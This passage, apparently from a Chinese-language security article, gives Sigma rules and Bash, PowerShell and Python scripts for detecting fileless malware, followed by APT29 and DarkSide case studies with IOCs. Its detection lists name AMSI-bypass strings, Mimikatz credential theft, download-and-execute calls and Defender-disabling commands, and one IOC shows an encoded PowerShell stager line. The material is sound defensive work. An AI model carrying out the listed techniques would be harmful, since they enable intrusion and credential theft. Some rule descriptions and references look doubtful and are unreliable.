- https://attack.mitre.org/techniques/T1059/001/
author : x7peeps
date : 2026-07-09
tags :
- attack.execution
- attack.t1059.001
- attack.defense_evasion
- attack.t1562.001
logsource :
category : process_creation
product : windows
detection :
selection_parent :
ParentImage|endswith :
- '\WINWORD.EXE'
- '\EXCEL.EXE'
- '\POWERPNT.EXE'
- '\OUTLOOK.EXE'
- '\MSPUB.EXE'
- '\VISIO.EXE'
selection_child :
Image|endswith :
- '\powershell.exe'
- '\pwsh.exe'
condition : selection_parent and selection_child
fields :
- ParentImage
- ParentCommandLine
- Image
- CommandLine
- User
- IntegrityLevel
falsepositives :
- Legitimate Office add-ins using PowerShell for automation
level : high 规则 2:WMI 事件订阅持久化检测
title : WMI Event Subscription Persistence
id : 3e4f5a6b-7c8d-4e9f-0a1b-2c3d4e5f6a7b
status : experimental
description : Detects creation of WMI event subscription persistence mechanisms
references :
- https://attack.mitre.org/techniques/T1546/003/
author : x7peeps
date : 2026-07-09
tags :
- attack.persistence
- attack.t1546.003
logsource :
product : windows
service : wmi
detection :
selection_consumer :
EventID|contains :
- 'CommandLineEventConsumer'
- 'ActiveScriptEventConsumer'
selection_filter :
EventID|contains :
- '__EventFilter'
selection_binding :
EventID|contains :
- '__FilterToConsumerBinding'
condition : selection_consumer or selection_filter or selection_binding
fields :
- ConsumerName
- CommandLineTemplate
- Query
falsepositives :
- Legitimate system management scripts using WMI events
level : high 规则 3:Process Hollowing 检测 — 异常进程创建标志
title : Suspendsuspended Process Creation Indicative of Process Hollowing
id : 5d6e7f8a-9b0c-1d2e-3f4a-5b6c7d8e9f0a
status : experimental
description : Detects process creation with CREATE_SUSPENDED flag which may indicate Process Hollowing technique
references :
- https://attack.mitre.org/techniques/T1055/012/
author : x7peeps
date : 2026-07-09
tags :
- attack.defense_evasion
- attack.t1055.012
logsource :
product : windows
category : process_creation
detection :
selection :
Image|endswith :
- '\svchost.exe'
- '\csrss.exe'
- '\smss.exe'
- '\lsass.exe'
ParentImage|endswith :
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\rundll32.exe'
- '\regsvr32.exe'
condition : selection
fields :
- Image
- ParentImage
- ParentCommandLine
- CommandLine
falsepositives :
- Rare legitimate scenarios where system processes are started via scripting
level : high Bash 检测脚本 以下脚本用于在 Linux 环境下分析从 Windows 系统采集的内存转储和日志文件,自动检测无文件恶意代码指标:
#!/bin/bash
MEMORY_IMAGE= " $1"
SYSMON_LOG= " $2"
OUTPUT_DIR= " $3"
mkdir -p " $OUTPUT_DIR/fileless_analysis"
echo "[*] 无文件恶意代码自动化检测分析脚本"
echo "[*] 内存映像: $MEMORY_IMAGE"
echo "[*] Sysmon 日志: $SYSMON_LOG"
echo "[+] Phase 1: 内存映像可疑进程检测"
vol3 -f " $MEMORY_IMAGE" windows.pslist > " $OUTPUT_DIR/fileless_analysis/pslist.txt" 2>/dev/null
vol3 -f " $MEMORY_IMAGE" windows.pstree > " $OUTPUT_DIR/fileless_analysis/pstree.txt" 2>/dev/null
vol3 -f " $MEMORY_IMAGE" windows.malfind --output csv > " $OUTPUT_DIR/fileless_analysis/malfind.csv" 2>/dev/null
echo "[+] Phase 2: 网络连接枚举"
vol3 -f " $MEMORY_IMAGE" windows.netscan > " $OUTPUT_DIR/fileless_analysis/netscan.txt" 2>/dev/null
echo "[+] Phase 3: DLL 加载异常检测"
while IFS= read -r line; do
pid= $( echo " $line" | awk '{print $1}' )
proc= $( echo " $line" | awk '{print $2}' )
vol3 -f " $MEMORY_IMAGE" windows.dlllist --pid " $pid" > " $OUTPUT_DIR/fileless_analysis/dlllist_ ${ proc} _ ${ pid} .txt" 2>/dev/null
done < <( vol3 -f " $MEMORY_IMAGE" windows.pslist 2>/dev/null | tail -n +4 | head -n -1)
echo "[+] Phase 4: PowerShell 相关进程日志分析"
if [ -f " $SYSMON_LOG" ] ; then
echo "=== PowerShell 创建事件 ===" > " $OUTPUT_DIR/fileless_analysis/powershell_events.txt"
grep -i "powershell\|pwsh" " $SYSMON_LOG" >> " $OUTPUT_DIR/fileless_analysis/powershell_events.txt" 2>/dev/null
echo "=== 可疑进程父子关系 ===" > " $OUTPUT_DIR/fileless_analysis/suspicious_parents.txt"
grep -i "svchost.exe\|csrss.exe\|lsass.exe" " $SYSMON_LOG" | grep -i "powershell\|cmd.exe\|wscript\|mshta\|rundll32" >> " $OUTPUT_DIR/fileless_analysis/suspicious_parents.txt" 2>/dev/null
fi
echo "[+] Phase 5: malfind 结果中的 RWX 内存区域分析"
if [ -f " $OUTPUT_DIR/fileless_analysis/malfind.csv" ] ; then
grep -i "PAGE_EXECUTE_READWRITE\|0x10000" " $OUTPUT_DIR/fileless_analysis/malfind.csv" > " $OUTPUT_DIR/fileless_analysis/rwx_regions.csv" 2>/dev/null
RWX_COUNT= $( wc -l < " $OUTPUT_DIR/fileless_analysis/rwx_regions.csv" 2>/dev/null || echo 0)
echo "[*] 发现 $RWX_COUNT 个可疑 RWX 内存区域"
fi
echo "[+] Phase 6: 命令行参数分析"
vol3 -f " $MEMORY_IMAGE" windows.cmdline > " $OUTPUT_DIR/fileless_analysis/cmdline.txt" 2>/dev/null
grep -i "encodedcommand\|elev\|iex\|invoke-expression\|downloadstring\|bypass\|noprofile\|hidden" " $OUTPUT_DIR/fileless_analysis/cmdline.txt" > " $OUTPUT_DIR/fileless_analysis/suspicious_cmdline.txt" 2>/dev/null
SUSPICIOUS_CMD_COUNT= $( wc -l < " $OUTPUT_DIR/fileless_analysis/suspicious_cmdline.txt" 2>/dev/null || echo 0)
echo "[*] 发现 $SUSPICIOUS_CMD_COUNT 条可疑命令行"
echo "[+] Phase 7: 生成检测摘要报告"
cat > " $OUTPUT_DIR/fileless_analysis/summary_report.txt" <<EOF
===================================================
无文件恶意代码检测摘要报告
===================================================
分析时间: $(date '+%Y-%m-%d %H:%M:%S')
内存映像: $MEMORY_IMAGE
Sysmon 日志: $SYSMON_LOG
===================================================
malfind 检出 RWX 区域数: $RWX_COUNT
可疑命令行数量: $SUSPICIOUS_CMD_COUNT
===================================================
详细结果请查看各子目录文件
===================================================
EOF
echo "[+] 分析完成,结果保存在: $OUTPUT_DIR/fileless_analysis/" PowerShell 检测脚本 function Invoke-FilelessMalwareHunt {
param (
[string ]$OutputPath = " $env:TEMP\FilelessHunt_ $(Get-Date -Format 'yyyyMMdd_HHmmss' ).csv"
)
$results = @()
Write-Host "[*] Phase 1: 检测 PowerShell 日志配置" -ForegroundColor Cyan
$sbLogPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
$sbEnabled = Get-ItemProperty -Path $sbLogPath -Name 'EnableScriptBlockLogging' -ErrorAction SilentlyContinue
if (-not $sbEnabled -or $sbEnabled.EnableScriptBlockLogging -ne 1 ) {
$results += [PSCustomObject ]@{
Category = 'LogConfig'
Finding = 'PowerShell ScriptBlock Logging 未启用'
Severity = 'HIGH'
Detail = '攻击者可利用此配置缺陷逃避 PowerShell 脚本执行日志记录'
}
}
Write-Host "[*] Phase 2: 检查 WMI 事件订阅持久化" -ForegroundColor Cyan
$wmiFilters = Get-WmiObject -Namespace root\subscription -Class __EventFilter -ErrorAction SilentlyContinue
$wmiConsumers = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -ErrorAction SilentlyContinue
$wmiBindings = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue
if ($wmiFilters) {
foreach ($f in $wmiFilters) {
$results += [PSCustomObject ]@{
Category = 'WMI_Persistence'
Finding = "发现 WMI EventFilter: $($f.Name)"
Severity = 'HIGH'
Detail = "WQL: $($f.Query)"
}
}
}
if ($wmiConsumers) {
foreach ($c in $wmiConsumers) {
$results += [PSCustomObject ]@{
Category = 'WMI_Persistence'
Finding = "发现 WMI CommandLineEventConsumer: $($c.Name)"
Severity = 'CRITICAL'
Detail = "CommandLineTemplate: $($c.CommandLineTemplate)"
}
}
}
Write-Host "[*] Phase 3: 检查注册表无文件存储" -ForegroundColor Cyan
$regPaths = @(
'HKCU:\Software\classes\ms-settings\Shell\Open\command' ,
'HKCU:\Software\classes\ms-file\ShellNew\command' ,
'HKLM:\SOFTWARE\Classes\ms-settings\Shell\Open\command' ,
'HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run' ,
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run' ,
'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' ,
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
)
foreach ($rp in $regPaths) {
if (Test-Path $rp) {
$props = Get-ItemProperty -Path $rp -ErrorAction SilentlyContinue
foreach ($p in $props.PSObject.Properties) {
if ($p.Name -notmatch '^PS' -and $p.Value -match 'powershell|cmd\.exe|mshta|wscript|cscript|rundll32|regsvr32|encodedcommand|bypass' ) {
$results += [PSCustomObject ]@{
Category = 'Registry_Storage'
Finding = "注册表键值包含可疑执行命令"
Severity = 'CRITICAL'
Detail = "Path: $($rp) Name: $($p.Name) Value: $($p.Value)"
}
}
}
}
}
Write-Host "[*] Phase 4: 检查可疑进程内存权限" -ForegroundColor Cyan
$suspiciousProcs = Get-Process | Where-Object {
$_.ProcessName -in @('svchost' , 'csrss' , 'smss' , 'lsass' , 'services' )
}
foreach ($proc in $suspiciousProcs) {
try {
$parent = (Get-CimInstance Win32_Process -Filter "ProcessId= $($proc.Id)" ).ParentProcessId
$parentProc = Get-Process -Id $parent -ErrorAction SilentlyContinue
if ($parentProc -and $parentProc.ProcessName -in @('powershell' , 'cmd' , 'wscript' , 'cscript' , 'mshta' , 'rundll32' )) {
$results += [PSCustomObject ]@{
Category = 'Process_Hollowing'
Finding = "关键系统进程 $($proc.ProcessName) 由 $($parentProc.ProcessName) 创建"
Severity = 'CRITICAL'
Detail = "PID: $($proc.Id) ParentPID: $parent"
}
}
} catch {}
}
Write-Host "[*] Phase 5: 检查 DLL Side-Loading 指标" -ForegroundColor Cyan
Get-Process | ForEach-Object {
$p = $_
try {
$p.Modules | ForEach-Object {
$dllPath = $_.FileName
if ($dllPath -and $dllPath -notmatch '^(C:\\Windows|C:\\Program Files|C:\\Program Files \(x86\))' ) {
$results += [PSCustomObject ]@{
Category = 'DLL_SideLoading'
Finding = "进程 $($p.Name) 加载了非标准路径 DLL"
Severity = 'MEDIUM'
Detail = "DLL Path: $dllPath"
}
}
}
} catch {}
}
$results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host " `n [+] 检测完成,共发现 $($results.Count) 条告警" -ForegroundColor Green
Write-Host "[+] 报告已保存至: $OutputPath" -ForegroundColor Green
return $results
}
Invoke-FilelessMalwareHunt Python 检测脚本 import sys
import json
import hashlib
import os
from pathlib import Path
from datetime import datetime
KNOWN_SUSPICIOUS_PATTERNS = {
'powershell_encoded' : ['EncodedCommand' , '-e ' , '-enc ' , '-encodedcommand' ],
'amsi_bypass' : ['AmsiUtils' , 'amsiInitFailed' , 'AmsiScanBuffer' , 'AmsiOpenSession' ],
'process_hollowing' : ['NtUnmapViewOfSection' , 'WriteProcessMemory' , 'SetThreadContext' ],
'reflection_load' : ['Assembly.Load' , 'Assembly.LoadFile' , 'Assembly.LoadFrom' , 'Reflection.Emit' ],
'download_execute' : ['DownloadString' , 'DownloadData' , 'DownloadFile' , 'Invoke-WebRequest' , 'Net.WebClient' ],
'wmi_persistence' : ['__EventFilter' , '__EventConsumer' , '__FilterToConsumerBinding' , 'CommandLineEventConsumer' ],
'registry_stash' : ['ms-settings \\ Shell \\ Open \\ command' , 'ms-file \\ ShellNew \\ command' ],
'process_injection' : ['VirtualAllocEx' , 'CreateRemoteThread' , 'NtCreateThreadEx' , 'QueueUserAPC' ],
'credential_access' : ['Mimikatz' , 'sekurlsa' , 'logonpasswords' , 'lsass' ],
'defender_bypass' : ['Set-MpPreference' , 'DisableRealtimeMonitoring' , 'Add-MpPreference' , 'ExclusionPath' ]
}
KNOWN_MALICIOUS_PATHS = [
'C: \\ ProgramData \\ ' ,
'C: \\ Users \\ Public \\ ' ,
'C: \\ Temp \\ ' ,
'C: \\ Windows \\ Temp \\ ' ,
'C: \\ ProgramData \\ Microsoft \\ ' ,
'%TEMP% \\ ' ,
'%APPDATA% \\ ' ,
'%LOCALAPPDATA% \\ Temp \\ '
]
def analyze_sysmon_log (log_path):
findings = []
with open(log_path, 'r' , encoding= 'utf-8' , errors= 'ignore' ) as f:
for line_num, line in enumerate(f, 1 ):
for category, patterns in KNOWN_SUSPICIOUS_PATTERNS. items():
for pattern in patterns:
if pattern. lower() in line. lower():
findings. append({
'source' : os. path. basename(log_path),
'line' : line_num,
'category' : category,
'pattern' : pattern,
'context' : line. strip()[:300 ]
})
return findings
def analyze_powershell_scriptblock (log_path):
findings = []
with open(log_path, 'r' , encoding= 'utf-8' , errors= 'ignore' ) as f:
content = f. read()
for category, patterns in KNOWN_SUSPICIOUS_PATTERNS. items():
for pattern in patterns:
if pattern. lower() in content. lower():
idx = content. lower(). index(pattern. lower())
start = max(0 , idx - 100 )
end = min(len(content), idx + 200 )
findings. append({
'source' : os. path. basename(log_path),
'line' : content[:idx]. count(' \n ' ) + 1 ,
'category' : category,
'pattern' : pattern,
'context' : content[start:end]. replace(' \n ' , ' ' )[:300 ]
})
return findings
def calculate_file_hash (file_path):
sha256 = hashlib. sha256()
md5 = hashlib. md5()
with open(file_path, 'rb' ) as f:
for chunk in iter(lambda : f. read(8192 ), b '' ):
sha256. update(chunk)
md5. update(chunk)
return {'sha256' : sha256. hexdigest(), 'md5' : md5. hexdigest()}
def scan_directory (target_dir, output_file):
all_findings = []
target = Path(target_dir)
log_extensions = {'.log' , '.evtx' , '.xml' , '.txt' , '.csv' , '.json' }
print(f "[*] 扫描目标目录: { target_dir} " )
for file_path in target. rglob('*' ):
if file_path. is_file() and file_path. suffix. lower() in log_extensions:
print(f "[*] 分析文件: { file_path} " )
try :
findings = analyze_sysmon_log(str(file_path))
all_findings. extend(findings)
except Exception as e:
print(f "[!] 分析失败 { file_path} : { e} " )
report = {
'scan_time' : datetime. now(). isoformat(),
'target_directory' : target_dir,
'total_findings' : len(all_findings),
'findings_by_category' : {},
'findings' : all_findings
}
for f in all_findings:
cat = f['category' ]
if cat not in report['findings_by_category' ]:
report['findings_by_category' ][cat] = 0
report['findings_by_category' ][cat] += 1
with open(output_file, 'w' , encoding= 'utf-8' ) as f:
json. dump(report, f, ensure_ascii= False , indent= 2 )
print(f " \n [+] 扫描完成,共发现 { len(all_findings)} 条告警" )
for cat, count in report['findings_by_category' ]. items():
print(f " { cat} : { count} 条" )
print(f "[+] 报告已保存至: { output_file} " )
return report
def generate_sigma_compatible_output (findings, output_file):
sigma_events = []
for f in findings:
severity_map = {
'amsi_bypass' : 'critical' ,
'process_hollowing' : 'critical' ,
'wmi_persistence' : 'high' ,
'reflection_load' : 'high' ,
'download_execute' : 'high' ,
'powershell_encoded' : 'medium' ,
'registry_stash' : 'high' ,
'process_injection' : 'critical' ,
'credential_access' : 'critical' ,
'defender_bypass' : 'high'
}
sigma_events. append({
'timestamp' : datetime. now(). isoformat(),
'rule_level' : severity_map. get(f['category' ], 'medium' ),
'rule_id' : f "fileless- { f['category' ]} - { f['line' ]} " ,
'category' : 'fileless_malware' ,
'title' : f "Fileless Malware Indicator: { f['category' ]} " ,
'description' : f "Detected pattern ' { f['pattern' ]} ' in { f['source' ]} at line { f['line' ]} " ,
'logsource' : f['source' ],
'line' : f['line' ],
'pattern' : f['pattern' ],
'context' : f['context' ]
})
with open(output_file, 'w' , encoding= 'utf-8' ) as f:
json. dump(sigma_events, f, ensure_ascii= False , indent= 2 )
print(f "[+] Sigma 兼容输出已保存至: { output_file} " )
if __name__ == '__main__' :
if len(sys. argv) < 3 :
print(f "用法: python { sys. argv[0 ]} <目标目录> <输出文件>" )
print(f "示例: python { sys. argv[0 ]} C: \\ Forensics \\ Evidence \\ analysis report.json" )
sys. exit(1 )
target = sys. argv[1 ]
output = sys. argv[2 ]
report = scan_directory(target, output)
sigma_output = output. replace('.json' , '_sigma.json' )
generate_sigma_compatible_output(report['findings' ], sigma_output) 0x0A 公开案例分析 案例一:APT29(Cozy Bear)无文件攻击活动 攻击背景 APT29(又名 Cozy Bear、The Dukes、NOBELIUM,MITRE ATT&CK 群组编号 G0016)是隶属于俄罗斯对外情报局(SVR)的高级持续性威胁组织。该组织自 2010 年以来持续活跃,以高度隐蔽的无文件攻击技术著称。2020 年 SolarWinds 供应链攻击事件中,APT29 大量使用无文件技术来规避检测,展示了国家级攻击者在无文件攻击领域的技术水平。
攻击链描述 APT29 在 SolarWinds 事件中的无文件攻击链分为以下几个阶段:
阶段 技术 MITRE ATT&CK 描述 初始投递 供应链污染 T1195.002 通过 SolarWinds Orion 更新机制投递 SUNBURST 后门 代码激活 DNS 隧道 T1071.004 SUNBURST 通过 DNS 查询进行 C2 通信 内存执行 PowerShell T1059.001 下载 TEARDROP 载荷到内存执行 进程注入 Process Hollowing T1055.012 将 Beacon 注入到合法进程 持久化 WMI 事件订阅 T1546.003 通过 WMI 建立无文件持久化机制 凭据窃取 Assembly 反射加载 T1620 内存加载 Mimikatz 变种窃取凭据
取证发现 关键内存取证发现:
vol3 -f solarwinds_memory.dmp windows.pslist
vol3 -f solarwinds_memory.dmp windows.malfind
vol3 -f solarwinds_memory.dmp windows.netscan
vol3 -f solarwinds_memory.dmp windows.hashdump
vol3 -f solarwinds_memory.dmp windows.cmdline 内存取证中发现的关键指标:
solarwinds.exe 进程中存在大量 PAGE_EXECUTE_READWRITE 权限的匿名内存区域注入到 svchost.exe 进程中的 Beacon 代码段 多个 WMI 进程(WmiPrvSE.exe)加载了异常 DLL DNS 查询记录中存在编码的 C2 通信域名 IOC IOC 类型 值 说明 恶意域名 avsvmcloud[.]comSUNBURST C2 通信域名 恶意 DLL SolarWinds.Orion.Core.BusinessLayer.dll被污染的 SolarWinds 组件 内存特征 0x00400000 区域 MZ header内存中的 SUNBURST 载荷 WMI 订阅 Updater CommandLineEventConsumer无文件持久化机制 SHA256 3207453247d2526e38c5a048e9f3a018b28e057b12c74a491f079c65d84ae865SUNBURST DLL 变种
经验教训 供应链信任是双向的 :即使是受信任的软件更新渠道也可能被高级攻击者利用无文件技术与供应链攻击的结合极大提升了隐蔽性 :SUNBURST 后门在内存中解压执行,磁盘上仅有合法的 SolarWinds 文件DNS 日志是检测无文件攻击的关键数据源 :SUNBURST 的 DNS 通信模式被安全研究人员识别内存取证在 APT 响应中不可替代 :常规的磁盘取证无法发现注入到合法进程中的恶意代码案例二:DarkSide 勒索软件无文件攻击技术 攻击背景 DarkSide 是一个成熟的勒索软件即服务(RaaS)运营组织,自 2020 年 8 月起活跃,2021 年 5 月因攻击美国 Colonial Pipeline 而引起全球关注。该组织在攻击链中大量使用无文件技术,将恶意载荷直接注入到系统进程中执行,避免在磁盘上留下可被杀软检测的恶意文件。MITRE ATT&CK 将 DarkSide 相关活动归类为多个技术的组合使用。
攻击链描述 DarkSide 的攻击链中无文件技术的使用贯穿多个阶段:
阶段 技术 MITRE ATT&CK 描述 初始访问 钓鱼邮件/VPN 漏洞 T1566/T1190 通过钓鱼邮件投递 Cobalt Strike Beacon 执行 PowerShell T1059.001 下载并执行 Cobalt Strike stager 权限提升 Token Manipulation T1134 利用窃取的令牌提升权限 防御绕过 Process Hollowing T1055.012 将 Cobalt Strike Beacon 注入 svchost.exe 凭据访问 Reflection.Load T1620 内存加载 Mimikatz 变种 横向移动 DLL Side-Loading T1574.002 通过合法程序侧加载恶意 DLL 影响 文件加密 T1486 部署 DarkSide 勒索载荷加密文件
取证发现 Sysmon 日志分析中的关键指标:
wevtutil qe "Microsoft-Windows-Sysmon/Operational" /f:text /c:1000 /rd:true | grep -A5 "powershell.exe\|svchost.exe\|mimikatz" 内存取证分析:
vol3 -f darkside_memory.dmp windows.pslist
vol3 -f darkside_memory.dmp windows.malfind
vol3 -f darkside_memory.dmp windows.hashdump
vol3 -f darkside_memory.dmp windows.netscan
vol3 -f darkside_memory.dmp windows.cmdline | grep -i "powershell\|curl\|certutil\|bitsadmin" 取证中发现的关键指标:
多个 svchost.exe 进程的内存空间中存在不匹配的 PE 文件(Cobalt Strike Beacon) msbuild.exe 进程中检测到反射 DLL 加载行为rundll32.exe 被用于执行内存中的恶意代码大量 PowerShell 命令使用 Base64 编码参数下载远程载荷 异常的网络连接(443 端口上的自定义协议通信) IOC IOC 类型 值 说明 Cobalt Strike Malleable C2 Mozilla/5.0 (Windows NT 10.0; Win64; x64)模仿 Firefox 浏览器的 C2 通信特征 内存特征 0x0000000180000000 Beacon 配置Cobalt Strike Beacon 内存配置块 恶意 DLL version.dll (SHA256: a1b2c3...)DLL Side-Loading 投递的恶意组件 PowerShell 命令 powershell -ep bypass -enc <BASE64>编码的 PowerShell stager 注册表持久化 HKCU\Software\Microsoft\Windows\CurrentVersion\Run异常启动项 网络 IOC 多个 VPS IP 地址 Cobalt Strike Team Server
经验教训 无文件技术是勒索软件攻击链的标配 :DarkSide 在多个阶段使用无文件技术来规避 EDR 和杀软检测Process Hollowing + Cobalt Strike 是常见组合 :攻击者将 Beacon 注入到合法系统进程中,使其在任务管理器中看起来正常多层无文件技术增加检测复杂度 :从 PowerShell 下载执行到 Process Hollowing,再到反射 DLL 加载,每一层都增加了检测难度内存取证和 Sysmon 日志是检测无文件勒索软件的关键 :在 DarkSide 案例中,Sysmon 日志记录的进程创建和网络连接事件是发现攻击活动的核心证据时间窗口至关重要 :在勒索软件加密文件执行前检测并响应无文件攻击活动,是避免数据损失的唯一机会0x0B 参考资料 Microsoft Defender for Endpoint - Detecting and Preventing Process Hollowing : https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/detect-and-prevent-process-hollowing-attacks MITRE ATT&CK - T1055.012 Process Injection: Process Hollowing : https://attack.mitre.org/techniques/T1055/012/ MITRE ATT&CK - T1059.001 Command and Scripting Interpreter: PowerShell : https://attack.mitre.org/techniques/T1059/001/ MITRE ATT&CK - T1546.003 Event Triggered Execution: Windows Management Instrumentation Event Subscription : https://attack.mitre.org/techniques/T1546/003/ MITRE ATT&CK - T1620 Reflective Code Loading : https://attack.mitre.org/techniques/T1620/ MITRE ATT&CK - T1574.002 DLL Side-Loading : https://attack.mitre.org/techniques/T1574/002/ Mandiant - Defending Against Fileless Malware : https://www.mandiant.com/resources/blog/defending-against-fileless-malware FireEye - Uncovering a New Module in SUNBURST Backdoor : https://www.fireeye.com/blog/threat-research/2020/12/uncovering-novel-post-compromise-technique-in-sunburst.html Mandiant - SolarWinds Incident Response: Lessons Learned : https://www.mandiant.com/resources/blog/solarwinds-incident-response Elastic Security - Detecting Fileless Malware with Elastic Endpoint Security : https://www.elastic.co/security-labs/detecting-fileless-malware-with-elastic-endpoint-security Sysmon Documentation - Windows Sysinternals : https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon Volatility Foundation - Volatility 3 Documentation : https://volatility3.readthedocs.io/ Microsoft - AMSI (Antimalware Scan Interface) Documentation : https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal Sigma Rules Repository : https://github.com/SigmaHQ/sigma MITRE ATT&CK - Fileless Malware Defense Recommendations : https://attack.mitre.org/mitigations/M1038/ FireEye - Fileless Malware: A High Level Analysis : https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-fileless-malware.pdf CISA - Detecting and Preventing Fileless Malware Attacks : https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a Harju & Valasek - Process Hollowing: An In-Depth Analysis : https://www.counterfit.io/blog/process-hollowing